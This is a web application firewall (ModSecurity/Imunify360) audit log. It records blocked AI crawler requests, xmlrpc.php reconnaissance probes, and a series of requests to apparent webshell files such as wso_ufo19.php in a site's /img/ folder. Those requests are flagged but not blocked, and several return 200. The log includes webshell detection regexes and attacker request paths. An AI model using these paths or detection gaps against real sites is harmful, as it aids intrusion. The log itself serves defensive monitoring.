Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983287423 64100 (- - -)
Stopwatch2: 1789305983287423 64100; combined=4783, p1=313, p2=4164, p3=0, p4=0, p5=305, sr=151, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8156e169-Z--
--e51ff970-A--
[13/Sep/2026:16:26:23.564346 +0300] aqakf0wu1RSkptiiNIX@YAAAAJU 34.73.17.152 41260 127.0.0.1 7081
--e51ff970-B--
POST /read-document HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 20
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--e51ff970-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e51ff970-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983495768 68658 (- - -)
Stopwatch2: 1789305983495768 68658; combined=5304, p1=322, p2=4587, p3=0, p4=0, p5=395, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e51ff970-Z--
--93602c31-A--
[13/Sep/2026:16:26:23.793081 +0300] aqakfzTJ6xTvcJoem7f9-wAAAEA 34.73.17.152 41270 127.0.0.1 7081
--93602c31-B--
POST /mcp HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 168
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Content-Type: application/json
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Accept-Encoding: gzip
--93602c31-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--93602c31-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305983720773 72376 (- - -)
Stopwatch2: 1789305983720773 72376; combined=6417, p1=242, p2=4485, p3=0, p4=0, p5=1690, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--93602c31-Z--
--35cc8618-A--
[13/Sep/2026:16:26:34.082426 +0300] aqakiisVWymXUono-eRXbgAAAAc 34.77.53.223 55814 127.0.0.1 7081
--35cc8618-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.77.53.223
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=QpowJm4%2Fv4uAYuh6wmtLmDQ0ZjNlZjg4MTllNmY0ZTZkNjAxODhmMTE1MWQ0ZjVjZTQyMjk2MWQ%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--35cc8618-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--35cc8618-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/xmlrpc.php"] [unique_id "aqakiisVWymXUono-eRXbgAAAAc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/xmlrpc.php"] [unique_id "aqakiisVWymXUono-eRXbgAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305994014038 68436 (- - -)
Stopwatch2: 1789305994014038 68436; combined=3985, p1=294, p2=3612, p3=0, p4=0, p5=78, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--35cc8618-Z--
--a963904e-A--
[13/Sep/2026:16:37:42.276979 +0300] aqanJmM7dE9KgIIOpQiBcQAAANY 34.77.53.223 52714 127.0.0.1 7081
--a963904e-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.77.53.223
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=FKIWwB0%2BIbG2v0qb%2BeRWcThjOGQyYzI1MTgzOGUyYWI5M2VhNDgzNDZiZjFmZjI1OGQwNWQ0MzY%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--a963904e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a963904e-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqanJmM7dE9KgIIOpQiBcQAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqanJmM7dE9KgIIOpQiBcQAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306662175372 101660 (- - -)
Stopwatch2: 1789306662175372 101660; combined=6687, p1=490, p2=6100, p3=0, p4=0, p5=96, sr=238, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a963904e-Z--
--8154783d-A--
[13/Sep/2026:16:41:39.143861 +0300] aqaoEysVWymXUono-eRXkAAAABA 104.28.131.119 50332 127.0.0.1 7081
--8154783d-B--
GET /img/ufo19_shell_30207.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--8154783d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8154783d-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaoEysVWymXUono-eRXkAAAABA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqaoEysVWymXUono-eRXkAAAABA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899128900 15043 (- - -)
Stopwatch2: 1789306899128900 15043; combined=4892, p1=251, p2=4541, p3=0, p4=0, p5=99, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--8154783d-Z--
--d03b567d-A--
[13/Sep/2026:16:41:39.146256 +0300] aqaoEysVWymXUono-eRXkQAAABg 104.28.131.119 50324 127.0.0.1 7081
--d03b567d-B--
GET /img/wso_ufo19.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--d03b567d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Set-Cookie: 3edd395a10c4893e5a21ace356f6da14key=d6a8dad0f695956302627a5068bb4318
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d03b567d-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaoEysVWymXUono-eRXkQAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/wso_ufo19.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/wso_ufo19.php"] [unique_id "aqaoEysVWymXUono-eRXkQAAABg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899135785 10536 (- - -)
Stopwatch2: 1789306899135785 10536; combined=4805, p1=220, p2=4527, p3=0, p4=0, p5=58, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--d03b567d-Z--
--a32fd33c-A--
[13/Sep/2026:16:41:39.150782 +0300] aqaoEysVWymXUono-eRXjwAAAAk 104.28.131.119 50312 127.0.0.1 7081
--a32fd33c-B--
GET /img/ufo_fm.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--a32fd33c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a32fd33c-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaoEysVWymXUono-eRXjwAAAAk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqaoEysVWymXUono-eRXjwAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899125822 25025 (- - -)
Stopwatch2: 1789306899125822 25025; combined=22591, p1=236, p2=22291, p3=0, p4=0, p5=64, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--a32fd33c-Z--
--c7bf321e-A--
[13/Sep/2026:16:41:39.473901 +0300] aqaoEysVWymXUono-eRXkgAAAAE 104.28.131.119 50336 127.0.0.1 7081
--c7bf321e-B--
GET /img/ufo19c_20960.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--c7bf321e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 7e7ea52a-07d4-4455-aaeb-454b9abd8e9f
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c7bf321e-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaoEysVWymXUono-eRXkgAAAAE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19c_20960.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19c_20960.php"] [unique_id "aqaoEysVWymXUono-eRXkgAAAAE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789306899235034 238939 (- - -)
Stopwatch2: 1789306899235034 238939; combined=5382, p1=232, p2=5064, p3=0, p4=0, p5=85, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--c7bf321e-Z--
--03eedc28-A--
[13/Sep/2026:16:41:39.475428 +0300] aqaoE0wu1RSkptiiNIX@tQAAAIw 104.28.131.119 50374 127.0.0.1 7081
--03eedc28-B--
GET /img/ufo19b_6243.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 104.28.131.119
X-Accel-Internal: /internal-nginx-static-location
Sec-Fetch-Dest: image
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6.1 Mobile/15E148 Safari/604.1
Accept: image/webp,image/avif,image/jxl,image/heic,image/heic-sequence,video/*;q=0.8,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Referer: https://www.ihelp.ro/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Accept-Language: en-GB,en;q=0.9
Priority: u=5, i
Accept-Encoding: gzip, deflate, br, zstd
Cookie: 3edd395a10c4893e5a21ace356f6da14key=d6a8dad0f695956302627a5068bb4318; csrfToken=Jj0mUJXKtVZWv0dbmldnC2JhYTFiZjc3OTkxYjZhOWNlMGQxZDlmMjBlM2JhZTMwMjNiOThhODc%3D
--03eedc28-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--03eedc28-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
